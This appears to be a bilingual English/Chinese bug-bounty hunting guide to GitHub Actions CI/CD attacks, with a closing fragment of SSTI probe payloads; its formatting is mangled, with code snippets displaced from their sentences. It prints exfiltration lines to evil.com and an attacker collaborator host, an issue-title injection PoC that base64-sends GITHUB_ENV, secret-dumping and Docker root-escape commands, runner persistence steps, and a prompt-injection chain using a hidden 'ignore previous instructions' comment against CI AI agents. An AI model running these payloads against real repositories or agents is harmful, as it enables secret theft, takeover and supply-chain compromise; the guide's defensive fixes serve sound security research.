uses: actions/checkout@v4yaml# VULNERABLE — tag can be force-pushed uses: actions/checkout@v4 # FIXED — pinned to immutable commit SHA uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - Impostor commit — fork network allows pushing commits with SHA that appears to belong to upstream repo
- Ref confusion — ambiguous tag/branch names exploited to load unintended action version
- Known vulnerable actions — check actions against GHSA database (sisakulint detects automatically)
- Archived actions — unmaintained action with unpatched vulnerabilities
- Unpinned container images — instead of SHA256 digest pin
image: ubuntu:latest
- 未固定的操作 — 使用(可变标签)而非SHA固定
actions/checkout@v4yaml# 易受攻击 — 标签可被强制推送 uses: actions/checkout@v4 # 修复 — 固定到不可变提交SHA uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - 冒名提交 — 分叉网络与父仓库共享对象存储。攻击者推送提交到分叉,然后在父仓库的中引用该提交SHA。GitHub解析它,因为SHA存在于共享对象存储中。
uses: - Ref混淆 — 模糊的标签/分支名称被利用来加载非预期的操作版本
- 已知易受攻击的操作 — 检查操作是否在GHSA数据库中(sisakulint自动检测)
- 已归档的操作 — 未维护的操作包含未修补的漏洞
- 未固定的容器镜像 — 使用而非SHA256摘要固定
image: ubuntu:latest
Category 4: Credential & Secret Protection
类别4: 凭证与密钥保护
- Secret exfiltration — in workflow
curl https://evil.com/${{ secrets.TOKEN }} - Secrets in artifacts — uploaded artifacts contain , credentials, or hidden files
.envyaml# FIXED — exclude hidden files - uses: actions/upload-artifact@v4 with: include-hidden-files: false - Unmasked secrets — derived values bypass GitHub's automatic masking
fromJson()yaml# FIXED — manually mask derived secrets run: | TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token') echo "::add-mask::$TOKEN" - Excessive — reusable workflow call inherits all secrets when it only needs one
secrets: inherit - Hardcoded credentials — API keys, passwords, tokens directly in workflow YAML
- 密钥泄露 — 工作流中的
curl https://evil.com/${{ secrets.TOKEN }} - 工件中的密钥 — 上传的工件包含, 凭证, 或隐藏文件
.envyaml# 修复 — 排除隐藏文件 - uses: actions/upload-artifact@v4 with: include-hidden-files: false - 未掩码的密钥 — 派生值绕过GitHub的自动掩码
fromJson()yaml# 修复 — 手动掩码派生密钥 run: | TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token') echo "::add-mask::$TOKEN" - 过度的— 可重用工作流调用继承所有密钥,而它只需要一个
secrets: inherit - 硬编码凭证 — API密钥、密码、令牌直接在工作流YAML中
Category 5: Triggers & Access Control (CICD-SEC-01)
类别5: 触发器与访问控制(CICD-SEC-01)
- Dangerous triggers without mitigation — or
pull_request_targetwith noworkflow_run, no approval gate, no ref restrictionpermissions: {} - Dangerous triggers with partial mitigation — some protections present but bypassable
- Label-based approval bypass — is spoofable (attacker can add labels)
if: contains(github.event.pull_request.labels.*.name, 'approved') - Bot condition spoofing — is trivially bypassed by naming account similarly
if: github.actor != 'dependabot[bot]' - Excessive GITHUB_TOKEN permissions — when only
permissions: write-allneededcontents: read - Self-hosted runners in public repos — untrusted PRs execute on org infrastructure = container escape → lateral movement
- OIDC token theft — CI runners expose OIDC tokens that grant cloud access
- 无缓解措施的危险触发器 — 或
pull_request_target无workflow_run, 无批准门, 无ref限制permissions: {} - 部分缓解措施的危险触发器 — 存在一些保护但可绕过
- 基于标签的批准绕过 — 可被欺骗(攻击者可添加标签)
if: contains(github.event.pull_request.labels.*.name, 'approved') - Bot条件欺骗 — 可通过命名类似账户轻松绕过
if: github.actor != 'dependabot[bot]' - 过度的GITHUB_TOKEN权限 — 而只需要
permissions: write-allcontents: read - 公共仓库中的自托管运行器 — 不受信任的PR在组织基础设施上执行 = 容器逃逸 → 横向移动
- OIDC令牌窃取 — CI运行器暴露授予云访问权限的OIDC令牌
Category 6: AI Agent Security (NEW — 2025+)
类别6: AI代理安全(新增 — 2025+)
- Unrestricted AI trigger — lets any user trigger AI agent execution
allowed_non_write_users: "*" - Excessive tool grants — AI agent given Bash/Write/Edit tools in untrusted trigger context = attacker prompt → RCE
- Prompt injection via workflow context — interpolated into AI agent prompt parameter
${{ github.event.issue.body }}
- 无限制的AI触发器 — 允许任何用户触发AI代理执行
allowed_non_write_users: "*" - 过度的工具授权 — AI代理在不受信任的触发器上下文中拥有Bash/Write/Edit工具 = 攻击者提示 → RCE + 密钥泄露
- 通过工作流上下文进行提示注入 — 插入到AI代理提示参数中
${{ github.event.issue.body }}
Hunting Workflow
挖掘工作流
1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
b. What secrets are accessible? (check permissions: block, secrets usage)
c. What's the blast radius? (repo secrets → deploy keys → cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tampering1. 侦察: 在目标的公共仓库中找到所有.github/workflows/*.yml
2. 扫描: sisakulint scan .github/workflows/(或--remote owner/repo)
3. 分类: 严重/高危发现 → 手动验证
4. 对每个发现:
a. 我能否作为外部贡献者触发它?(分叉PR、创建问题、评论)
b. 可访问哪些密钥?(检查权限: block, 密钥使用)
c. 影响范围是什么?(仓库密钥 → 部署密钥 → 云访问)
5. PoC: 创建分叉,提交触发易受攻击工作流的PR/问题
6. 证明: 展示密钥泄露、代码执行或工件篡改Expression Injection PoC Template
表达式注入PoC模板
bash
undefinedbash
undefinedStep 1: Create an issue with injection payload in title
步骤1: 创建标题中包含注入载荷的问题
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"
Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated
步骤2: 如果工作流在创建问题时触发并插入标题 → 密钥泄露
CVSS: 9.3 Critical (RCE with repo secrets)
CVSS: 9.3 严重(带仓库密钥的RCE)
undefinedundefinedReal-World GHSAs (Proven Payouts)
真实世界GHSAs(已验证赏金)
| GHSA | Action | Bug Class | Severity |
|---|---|---|---|
| GHSA-gq52-6phf-x2r6 | tj-actions/branch-names | Expression injection via branch name | Critical |
| GHSA-4xqx-pqpj-9fqw | atlassian/gajira-create | Code injection in privileged trigger | Critical |
| GHSA-g86g-chm8-7r2p | check-spelling/check-spelling | Secret exposure in build logs | Critical |
| GHSA-cxww-7g56-2vh6 | actions/download-artifact | Artifact poisoning (official action) | High |
| GHSA-h3qr-39j9-4r5v | gradle/gradle-build-action | Cache poisoning via untrusted checkout | High |
| GHSA-mrrh-fwg8-r2c3 | tj-actions/changed-files | Supply chain — impostor commit | High |
| GHSA-phf6-hm3h-x8qp | broadinstitute/cromwell | Token exposure via code injection | Critical |
| GHSA-qmg3-hpqr-gqvc | reviewdog/action-setup | Time-bomb via tag pinning | High |
| GHSA-vqf5-2xx6-9wfm | github/codeql-action | Known vulnerable official action | High |
| GHSA-hw6r-g8gj-2987 | pytorch/pytorch | Argument injection in build workflow | Moderate |
| GHSA | 操作 | 漏洞类别 | 严重程度 |
|---|---|---|---|
| GHSA-gq52-6phf-x2r6 | tj-actions/branch-names | 通过分支名称进行表达式注入 | 严重 |
| GHSA-4xqx-pqpj-9fqw | atlassian/gajira-create | 特权触发器中的代码注入 | 严重 |
| GHSA-g86g-chm8-7r2p | check-spelling/check-spelling | 构建日志中的密钥暴露 | 严重 |
| GHSA-cxww-7g56-2vh6 | actions/download-artifact | 工件投毒(官方操作) | 高危 |
| GHSA-h3qr-39j9-4r5v | gradle/gradle-build-action | 通过不受信任的检出进行缓存投毒 | 高危 |
| GHSA-mrrh-fwg8-r2c3 | tj-actions/changed-files | 供应链 — 冒名提交 | 高危 |
| GHSA-phf6-hm3h-x8qp | broadinstitute/cromwell | 通过代码注入泄露令牌 | 严重 |
| GHSA-qmg3-hpqr-gqvc | reviewdog/action-setup | 通过标签固定设置定时炸弹 | 高危 |
| GHSA-vqf5-2xx6-9wfm | github/codeql-action | 已知易受攻击的官方操作 | 高危 |
| GHSA-hw6r-g8gj-2987 | pytorch/pytorch | 构建工作流中的参数注入 | 中危 |
A→B Signal: CI/CD Chains
A→B信号: CI/CD链
Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivot表达式注入 → 密钥泄露 → 云账户接管
不受信任的检出 → Makefile RCE → 部署密钥窃取 → 仓库接管
工件投毒 → 发布二进制文件篡改 → 供应链 compromise
缓存投毒 → 构建输出操纵 → 后门部署
冒名提交 → 固定操作劫持 → 所有下游仓库受影响
OIDC令牌窃取 → 云元数据 → S3/GCS读取 → 客户数据
自托管运行器 → 容器逃逸 → 内部网络渗透Deep-Dive: From sisakulint Finding to Bounty Report
深入分析: 从sisakulint发现到赏金报告
sisakulint findings are potentially exploitable — not confirmed bugs. Every finding needs manual verification. The patterns below are extracted from 36 real-world paid reports ($250K+ total payouts). Each section follows the thinking that led to actual bounty payments.
sisakulint发现可能可被利用——不是已确认的漏洞。每个发现都需要手动验证。以下模式提取自36份真实世界付费报告(总赏金$250K+)。每个部分都遵循导致实际赏金支付的思路。
1. Code Injection / Argument Injection
1. 代码注入 / 参数注入
Gate question: Can an external attacker trigger this workflow AND does the tainted input reach a shell context?
Verification depth:
- Trigger accessibility — and
issues: openedare triggerable by ANY GitHub user.issue_comment: createdis triggerable via fork PR. Check if there's anpull_request_targetcondition filtering by actor/association.if: - Direct vs transitive taint — The workflow file itself may look safe. Cycode found Bazel's $13K bug because passed
cherry-picker.ymlvia${{ github.event.issue.title }}to a composite action in another repo (with:). The composite action'sbazelbuild/continuous-integrationhadaction.yml. Conventional scanners (actionlint) missed this because they don't followrun: TITLE="${{ inputs.issue-title }}"into external composite actions. Always fetch and read the composite action's action.yml.uses: - Payload construction — Branch names cannot contain spaces. Ultralytics YOLO attacker used (Internal Field Separator) and Bash brace expansion
${IFS}to bypass this. Issue titles/bodies have no such restriction.{curl,-sSfL,URL} - Secrets reachability — Check at workflow AND job level. No explicit
permissions:block = repo default (oftenpermissions:). Checkwrite-allblocks forenv:. Check if${{ secrets.* }}has write permissions.GITHUB_TOKEN - Impact chain — Bazel: issue title injection → composite action shell injection → +
BAZEL_IO_TOKEN→ Bazel codebase backdoor capability (affects Google, Kubernetes, Uber, LinkedIn).GITHUB_TOKEN (write-all)
Kill signals: or returning booleans are NOT injectable — false positive. inside evaluates to /, not the label text.
${{ contains(...) }}${{ startsWith(...) }}${{ github.event.pull_request.labels.*.name }}contains()truefalse门控问题: 外部攻击者能否触发此工作流,且受污染的输入是否到达shell上下文?
验证深度:
- 触发器可访问性 — 和
issues: opened可被任何GitHub用户触发。issue_comment: created可通过分叉PR触发。检查是否有pull_request_target条件按actor/关联过滤。if: - 直接 vs 间接污点 — 工作流文件本身可能看起来安全。Cycode发现Bazel的$13K漏洞,因为通过
cherry-picker.yml将with:传递给另一个仓库中的复合操作(${{ github.event.issue.title }})。复合操作的bazelbuild/continuous-integration有action.yml。传统扫描器(actionlint)错过这个,因为它们不跟随run: TITLE="${{ inputs.issue-title }}"到外部复合操作。始终获取并阅读复合操作的action.yml。uses: - 载荷构造 — 分支名称不能包含空格。Ultralytics YOLO攻击者使用(内部字段分隔符)和Brace扩展
${IFS}绕过这个限制。问题标题/正文没有这样的限制。{curl,-sSfL,URL} - 密钥可达性 — 检查工作流和作业级别的。无显式
permissions:块 = 仓库默认(通常是permissions:)。检查write-all块中的env:。检查${{ secrets.* }}是否有写入权限。GITHUB_TOKEN - 影响链 — Bazel: 问题标题注入 → 复合操作shell注入 → +
BAZEL_IO_TOKEN→ Bazel代码库后门能力(影响Google、Kubernetes、Uber、LinkedIn)。GITHUB_TOKEN (write-all)
终止信号: 或返回布尔值不可注入——误报。中的计算为/,而非标签文本。
${{ contains(...) }}${{ startsWith(...) }}contains()${{ github.event.pull_request.labels.*.name }}truefalse2. Untrusted Checkout (Pwn Request)
2. 不受信任的检出(Pwn Request)
Gate question: Does the workflow checkout attacker-controlled code AND then execute something from that checkout?
Verification depth:
- Explicit vs implicit code execution — The Flank $7.5K bug: →
gh pr checkoutruns Gradle → Gradle auto-evaluatesgradle/gradle-build-actionas Kotlin script. The attacker never wrote asettings.gradle.ktscommand. Any build tool that reads config from the repo is an execution vector:run:,Makefile(postinstall scripts),package.json,setup.py,build.gradle.kts,.cargo/config.toml.Gemfile - Issue_comment is as dangerous as pull_request_target — Rspack NPM token theft: trigger +
issue_commentcheckout.refs/pull/${{ github.event.issue.number }}/headruns in base repo context with full secrets. Draft PRs are included. No contributor status check. Always check issue_comment workflows for PR checkout patterns.issue_comment - Self-hosted runner escalation — If contains
runs-on:, check: (a) Is the runner ephemeral? (self-hostedin config.sh). (b) Is the runner in Docker group? (--ephemeral). (c) PyTorch pattern: contributor trick (typo fix PR → merge → contributor status → auto-trigger on self-hosted runner without approval) → RoR (Runner-on-Runner:docker run -v /:/host --privileged+ install attacker's runner agent) → wait for privileged workflow → steal PATs fromRUNNER_TRACKING_ID=0or process memory..git/config - TOCTOU — Label-gated workflows: attacker gets label added (social engineering), workflow checks label exists, attacker pushes malicious commit between check and checkout. The
pull_request_targetat checkout time resolves to the new commit. Mutable refs (ref:at trigger time vs checkout time) are the root cause.github.event.pull_request.head.sha - Post-exploitation — After initial access, enumerate all secrets: ,
env | base64,cat /proc/self/environ+gcore $(pgrep Runner.Worker). PyTorch attackers got 3 bot PATs → combined them to bypass branch protection on main.strings core.* | grep ghp_
Kill signals: blocks external attackers. at workflow level with only at job level limits damage. Ephemeral runners with flag prevent persistence.
if: "!github.event.pull_request.head.repo.fork"permissions: {}contents: read--ephemeral门控问题: 工作流是否检出攻击者控制的代码,然后执行该检出中的内容?
验证深度:
- 显式 vs 隐式代码执行 — Flank的$7.5K漏洞: →
gh pr checkout运行Gradle → Gradle自动评估gradle/gradle-build-action作为Kotlin脚本。攻击者从未编写settings.gradle.kts命令。任何从仓库读取配置的构建工具都是执行向量:run:,Makefile(postinstall脚本),package.json,setup.py,build.gradle.kts,.cargo/config.toml。Gemfile - Issue_comment与pull_request_target同样危险 — Rspack NPM令牌窃取: 触发器 +
issue_comment检出。refs/pull/${{ github.event.issue.number }}/head在基础仓库上下文中运行,拥有完整密钥。包含草稿PR。无贡献者状态检查。始终检查issue_comment工作流中的PR检出模式。issue_comment - 自托管运行器升级 — 如果包含
runs-on:,检查: (a) 运行器是否为临时的?(self-hosted中的config.sh)。(b) 运行器是否在Docker组中?(--ephemeral)。(c) PyTorch模式: 贡献者技巧(打字错误修复PR → 合并 → 贡献者状态 → 无需批准自动在自托管运行器上触发) → RoR(Runner-on-Runner:docker run -v /:/host --privileged+ 安装攻击者的运行器代理) → 等待特权工作流 → 从RUNNER_TRACKING_ID=0或进程内存中窃取PAT。.git/config - TOCTOU — 标签门控工作流: 攻击者添加标签(社会工程),工作流检查标签存在,攻击者在检查和检出之间推送恶意提交。检出时的
pull_request_target解析为新提交。可变ref(触发时的ref:vs 检出时的)是根本原因。github.event.pull_request.head.sha - 后利用 — 初始访问后,枚举所有密钥: ,
env | base64,cat /proc/self/environ+gcore $(pgrep Runner.Worker)。PyTorch攻击者获得3个bot PAT → 组合它们绕过主分支的分支保护。strings core.* | grep ghp_
终止信号: 阻止外部攻击者。工作流级别的加上作业级别的仅限制损害。带标志的临时运行器防止持久化。
if: "!github.event.pull_request.head.repo.fork"permissions: {}contents: read--ephemeral3. Artifact Poisoning
3. 工件投毒
Gate question: Is there a TWO-STAGE workflow pattern where Stage 1 (pull_request, no secrets) uploads artifacts and Stage 2 (workflow_run, with secrets) downloads and uses them?
Verification depth:
- Cross-workflow artifact flow — Same-workflow upload/download (build job → test job via ) is NOT poisonable because the attacker's PR runs their own build. The dangerous pattern is:
needs:workflow uploads → separatepull_requestworkflow downloads.workflow_runtriggers on the completion of another workflow and runs in the DEFAULT BRANCH context with full secrets.workflow_run - Download path matters — with
actions/download-artifactor workspace-relative paths (path: .) can overwrite source code, build scripts, or binaries. Safe pattern: extract tografana-server/bin.${{ runner.temp }}/artifacts - Source validation — Does the consumer check
workflow_run? If not, fork PR artifacts are consumed blindly. Rust release pipeline was vulnerable to exactly this.github.event.workflow_run.head_repository.full_name != github.repository - ArtiPACKED (persist-credentials) — defaults to
actions/checkout. This writespersist-credentials: truetoGITHUB_TOKEN. If the artifact upload path includes.git/config(e.g.,.git/), the token is publicly downloadable from the Actions artifact. Check: does anypath: .step useupload-artifactor a broad path that includespath: .?.git/
Kill signals: Upload and download in the same workflow run (connected by ). consumer that explicitly checks fork origin. on checkout.
needs:workflow_runpersist-credentials: false门控问题: 是否存在两阶段工作流模式,其中阶段1(pull_request,无密钥)上传工件,阶段2(workflow_run,有密钥)下载并使用它们?
验证深度:
- 跨工作流工件流 — 同一工作流中的上传/下载(通过连接的构建作业 → 测试作业)不可被投毒,因为攻击者的PR运行自己的构建。危险模式是:
needs:工作流上传 → 单独的pull_request工作流下载。workflow_run在另一个工作流完成时触发,并在默认分支上下文中运行,拥有完整密钥。workflow_run - 下载路径很重要 — 使用
actions/download-artifact或工作区相对路径(path: .)可覆盖源代码、构建脚本或二进制文件。安全模式: 提取到grafana-server/bin。${{ runner.temp }}/artifacts - 源验证 — 使用者是否检查
workflow_run?如果没有,分叉PR工件被盲目使用。Rust发布管道恰好易受此攻击。github.event.workflow_run.head_repository.full_name != github.repository - ArtiPACKED(persist-credentials) — 默认
actions/checkout。这将persist-credentials: true写入GITHUB_TOKEN。如果工件上传路径包含.git/config(例如,.git/),令牌可从Actions工件中公开下载。检查: 是否有path: .步骤使用upload-artifact或包含path: .的宽路径?.git/
终止信号: 同一工作流运行中的上传和下载(通过连接)。显式检查分叉来源的使用者。检出时的。
needs:workflow_runpersist-credentials: false4. Cache Poisoning
4. 缓存投毒
Gate question: Can a fork PR write a cache entry that the default branch later restores in a privileged context?
CRITICAL: GitHub's cache scoping does NOT fully prevent this. A PR branch can read caches from the default branch. A fork PR workflow can WRITE cache entries. If the cache key is deterministic () and the attacker doesn't modify that file, the fork PR writes to the SAME cache key.
hashFiles('package-lock.json')Verification depth:
- Key predictability — is fully predictable. Adding
key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}orgithub.shato the key makes it unpredictable. Check every cache key for the presence of an unpredictable component.github.run_id - Cache hierarchy exploitation — and
workflow_runworkflows run in the default branch context. If they write to caches with predictable keys, an attacker who can trigger the upstream workflow (via fork PR) can pre-poison the cache. Theworkflow_dispatchpattern:run-dashboard-search-e2e.ymltrigger →workflow_runwithactions/cachekey → all PR workflows read this cache.hashFiles() - Payload injection — Cacheract: inject malware into package manager caches (,
node_modules/.cache,~/.cache/pip). The malware self-perpetuates because each restore → build → save cycle preserves the payload. Cache TTL is 7 days — the payload survives across multiple workflow runs.~/.gradle/caches - Privileged consumption — The cache is restored in a or
pushworkflow on the default branch. These workflows have fullscheduleaccess. The poisoned dependency executes duringsecrets/npm install/pip installand exfiltrates secrets.gradle build - Clinejection chain — Prompt injection → AI agent runs from attacker commit → Cacheract in npm cache → nightly publish workflow restores cache → VSCE_PAT, OVSX_PAT, NPM_RELEASE_TOKEN stolen → malicious Cline v2.3.0 published for 8 hours.
npm install
Kill signals: Cache key includes or . Separate cache keys per workflow. (read-only) instead of (read-write) in PR workflows.
github.shagithub.run_idactions/cache/restoreactions/cache门控问题: 分叉PR能否写入缓存条目,而默认分支稍后在特权上下文中恢复它?
关键: GitHub的缓存范围不能完全防止这种情况。 PR分支可读取默认分支的缓存。分叉PR工作流可写入缓存条目。如果缓存键是确定性的()且攻击者不修改该文件,分叉PR写入相同缓存键。
hashFiles('package-lock.json')验证深度:
- 键可预测性 — 完全可预测。将
key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}或github.sha添加到键中使其不可预测。检查每个缓存键是否包含不可预测的组件。github.run_id - 缓存层次利用 — 和
workflow_run工作流在默认分支上下文中运行。如果它们使用可预测键写入缓存,能触发起始工作流的攻击者(通过分叉PR)可预先投毒缓存。workflow_dispatch模式:run-dashboard-search-e2e.yml触发器 →workflow_run使用actions/cache键 → 所有PR工作流读取此缓存。hashFiles() - 载荷注入 — Cacheract: 将恶意软件注入包管理器缓存(,
node_modules/.cache,~/.cache/pip)。恶意软件自我延续,因为每个恢复 → 构建 → 保存周期都保留载荷。缓存TTL为7天——载荷在多个工作流运行中存活。~/.gradle/caches - 特权消费 — 缓存在默认分支的或
push工作流中恢复。这些工作流拥有完整的schedule访问权限。被投毒的依赖在secrets/npm install/pip install期间执行并泄露密钥。gradle build - Clinejection链 — 提示注入 → AI代理从攻击者提交运行→ npm缓存中的Cacheract → 夜间发布工作流恢复缓存 → VSCE_PAT, OVSX_PAT, NPM_RELEASE_TOKEN被盗 → 恶意Cline v2.3.0发布8小时。
npm install
终止信号: 缓存键包含或。每个工作流使用单独的缓存键。PR工作流中使用(只读)而非(读写)。
github.shagithub.run_idactions/cache/restoreactions/cache5. Self-Hosted Runners
5. 自托管运行器
Gate question: Is a self-hosted runner used in a PUBLIC repo where external contributors can trigger workflows?
Verification depth:
- Approval settings — Default: "Require approval for first-time contributors". After ONE merged PR (even a typo fix), the attacker becomes a "contributor" and subsequent PRs auto-trigger without approval. GitHub runner-images $20K bug used exactly this trick.
- Runner persistence — Non-ephemeral runners retain state between jobs. prevents the runner from cleaning up attacker processes after job completion. Detached Docker containers (
RUNNER_TRACKING_ID=0) also survive cleanup.docker run -d --restart always - Runner-on-Runner (RoR) — Install an official GitHub Actions runner binary on the target's self-hosted runner, register it to attacker's private org. Uses only legitimate GitHub binaries and HTTPS to github.com — indistinguishable from normal runner traffic. No C2 server needed. GitHub itself is the C2.
- Lateral movement — RoR persistence → wait for privileged /
pushworkflows → steal tokens fromschedule,.git/config,$GITHUB_ENV, or Runner.Worker process memory. PyTorch: 3 bot PATs → 93 repos → AWS S3 write access →/proc/PID/environsupply chain.pip install pytorch - Docker group escalation — → full host root. Add SSH keys, modify sudoers, install persistent backdoors.
docker run -v /:/host --privileged alpine chroot /host
Kill signals: flag on runner registration. "Require approval for ALL outside collaborators" (not just first-time). Runner not in Docker group. Private repo (no external PRs).
--ephemeral门控问题: 自托管运行器是否用于外部贡献者可触发工作流的公共仓库?
验证深度:
- 批准设置 — 默认: "Require approval for first-time contributors"。一次合并PR(即使是打字错误修复)后,攻击者成为“贡献者”,后续PR无需批准自动触发。GitHub runner-images的$20K漏洞恰好使用此技巧。
- 运行器持久化 — 非临时运行器在作业之间保留状态。防止运行器在作业完成后清理攻击者进程。分离的Docker容器(
RUNNER_TRACKING_ID=0)也在清理后存活。docker run -d --restart always - Runner-on-Runner (RoR) — 在目标的自托管运行器上安装官方GitHub Actions运行器二进制文件,注册到攻击者的私有组织。仅使用合法GitHub二进制文件和HTTPS连接到github.com——与正常运行器流量无法区分。无需C2服务器。GitHub本身就是C2。
- 横向移动 — RoR持久化 → 等待特权/
push工作流 → 从schedule,.git/config,$GITHUB_ENV, 或Runner.Worker进程内存中窃取令牌。PyTorch: 3个bot PAT → 93个仓库 → AWS S3写入权限 →/proc/PID/environ供应链。pip install pytorch - Docker组升级 — → 完整主机root。添加SSH密钥,修改sudoers,安装持久后门。
docker run -v /:/host --privileged alpine chroot /host
终止信号: 运行器注册时的标志。"Require approval for ALL outside collaborators"(不仅是首次)。运行器不在Docker组中。私有仓库(无外部PR)。
--ephemeral6. Supply Chain (commit-sha / impostor-commit / ref-confusion)
6. 供应链(commit-sha / 冒名提交 / ref-confusion)
Gate question: Does the workflow use mutable tags (, ) for actions, and could those tags be replaced?
@v1@v2Verification depth:
- Tag mutability — replaces the tag. 98.4% of repos don't use SHA pinning (Legit Security 2024). tj-actions attack: all version tags (v1, v35, v45) replaced with memdump.py payload → 23K repos affected → 218 confirmed secret leaks.
git tag -f v1 <malicious-commit> - Impostor commits — Fork network shares object store with parent. Attacker pushes a commit to fork, then references that commit SHA in the parent repo's . GitHub resolves it because the SHA exists in the shared object store.
uses: - RepoJacking — Org renames create a redirect. Old name becomes available. Attacker registers old org name, creates same repo, hosts malicious action. Shopify/unity-buy-sdk used → MirrorNG renamed to MirageNet →
MirrorNG/unity-runnerwas claimable. Check:MirrorNGreturns 404? Takeover possible.GET /users/<action-owner> - Payload stealth — tj-actions memdump.py: extract secrets from Runner.Worker process memory via +
/proc/PID/maps, encrypt with AES+RSA, output to workflow log. Logs are publicly visible but encrypted — only attacker has the key./proc/PID/mem
Kill signals: Full 40-char SHA pinning (). Dependabot configured for ecosystem. Organization-level action allowlist.
uses: actions/checkout@b4ffde65...github-actions门控问题: 工作流是否对操作使用可变标签(, ),且这些标签可被替换?
@v1@v2验证深度:
- 标签可变性 — 替换标签。98.4%的仓库不使用SHA固定(Legit Security 2024)。tj-actions攻击: 所有版本标签(v1, v35, v45)被替换为memdump.py载荷 → 23K仓库受影响 → 218个确认密钥泄露。
git tag -f v1 <malicious-commit> - 冒名提交 — 分叉网络与父仓库共享对象存储。攻击者推送提交到分叉,然后在父仓库的中引用该提交SHA。GitHub解析它,因为SHA存在于共享对象存储中。
uses: - RepoJacking — 组织重命名创建重定向。旧名称可用。攻击者注册旧组织名称,创建相同仓库,托管恶意操作。Shopify/unity-buy-sdk使用→ MirrorNG重命名为MirageNet →
MirrorNG/unity-runner可被认领。检查:MirrorNG返回404?可能被接管。GET /users/<action-owner> - 载荷 stealth — tj-actions memdump.py: 通过+
/proc/PID/maps从Runner.Worker进程内存中提取密钥,用AES+RSA加密,输出到工作流日志。日志公开可见但加密——只有攻击者有密钥。/proc/PID/mem
终止信号: 完整40字符SHA固定()。Dependabot配置为生态系统。组织级操作允许列表。
uses: actions/checkout@b4ffde65...github-actions7. AI Agent Security
7. AI代理安全
Gate question: Is an AI agent (Gemini CLI, Claude Code, Cline, Codex) invoked in a workflow where external users can influence the prompt?
Verification depth:
- Trigger + prompt source — → AI triage bot reads
issues: opened. The body IS the prompt. HTML comments (github.event.issue.body) are invisible in GitHub UI but included in the API response and thus in the AI prompt.<!-- ignore previous instructions --> - Tool permissions — If the AI agent has Bash/Write/Edit tools and runs with secrets in env, prompt injection = RCE + secret exfil. means ANY user can trigger.
allowed_non_write_users: "*" - Multi-phase chain — Clinejection: prompt injection → AI runs from attacker commit → Cacheract plants in npm cache → nightly publish restores cache → tokens stolen → malicious version published. A prompt injection finding alone may seem low-severity, but it's a gateway to cache poisoning and supply chain attacks.
npm install
Kill signals: check before AI processing. flags on AI CLI. at workflow level.
author_association == 'MEMBER' || 'OWNER'--read-only --no-execpermissions: {}门控问题: AI代理(Gemini CLI, Claude Code, Cline, Codex)是否在外部用户可影响提示的工作流中被调用?
验证深度:
- 触发器 + 提示源 — → AI分类机器人读取
issues: opened。正文就是提示。HTML注释(github.event.issue.body)在GitHub UI中不可见,但包含在API响应中,因此在AI提示中。<!-- ignore previous instructions --> - 工具权限 — 如果AI代理拥有Bash/Write/Edit工具并在环境中使用密钥运行,提示注入 = RCE + 密钥泄露。意味着任何用户都可触发。
allowed_non_write_users: "*" - 多阶段链 — Clinejection: 提示注入 → AI从攻击者提交运行→ npm缓存中的Cacheract → 夜间发布恢复缓存 → 令牌被盗 → 恶意版本发布。单独的提示注入发现可能看起来严重程度低,但它是缓存投毒和供应链攻击的入口。
npm install
终止信号: AI处理前的检查。AI CLI上的标志。工作流级别的。
author_association == 'MEMBER' || 'OWNER'--read-only --no-execpermissions: {}8. Permissions / Secrets Hygiene
8. 权限 / 密钥卫生
Not standalone bugs — these are force multipliers. A with is Critical. The same injection with is limited.
code-injection-mediumpermissions: write-allpermissions: { contents: read }Chaining checklist:
- on reusable workflow call → all org secrets accessible to called workflow
secrets: inherit - block missing → repo default (often write-all)
permissions: - with
GITHUB_TOKEN→ CVE-2022-46258 pattern: use Contents API to create new workflow file → new workflow accesses ALL repo/org secrets (the original workflow never referenced them)contents: write
Key references:
- sisaku-security/agent-idea/bugbountyreport — 36 real-world reports with full attack chains
- sisakulint docs/advisory — 38 GHSAs with detection mapping
- DEF CON 32: Grand Theft Actions — Khan & Stawinski, $250K+ in self-hosted runner bugs
- Synacktiv: GitHub Actions Exploitation (5 parts)
不是独立漏洞——这些是力量倍增器。带的是严重的。带的相同注入影响有限。
permissions: write-allcode-injection-mediumpermissions: { contents: read }链攻击清单:
- 可重用工作流调用上的→ 所有组织密钥可被调用工作流访问
secrets: inherit - 缺少块 → 仓库默认(通常是write-all)
permissions: - 带的
contents: write→ CVE-2022-46258模式: 使用Contents API创建新工作流文件 → 新工作流访问所有仓库/组织密钥(原始工作流从未引用它们)GITHUB_TOKEN
关键参考:
- sisaku-security/agent-idea/bugbountyreport — 36份带完整攻击链的真实世界报告
- sisakulint docs/advisory — 38份带检测映射的GHSAs
- DEF CON 32: Grand Theft Actions — Khan & Stawinski, $250K+自托管运行器漏洞
- Synacktiv: GitHub Actions Exploitation (5 parts)
SSTI -- Server-Side Template Injection
SSTI -- 服务器端模板注入
Detection Payloads
检测载荷
{{7*7}} -> 49 = Jinja2 / Twig / generic
${7*7} -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %> -> 49 = ERB (Ruby)
#{7*7} -> 49 = Mako / some Ruby
*{7*7} -> 49 = Spring (Thymeleaf)
{{7*'7'}} -> 7777777 = Jinja2 (Twig gives 49){{7*7}} -> 49 = Jinja2 / Twig / 通用
${7*7} -> 49 = Freemarker / Pebble / Velocity
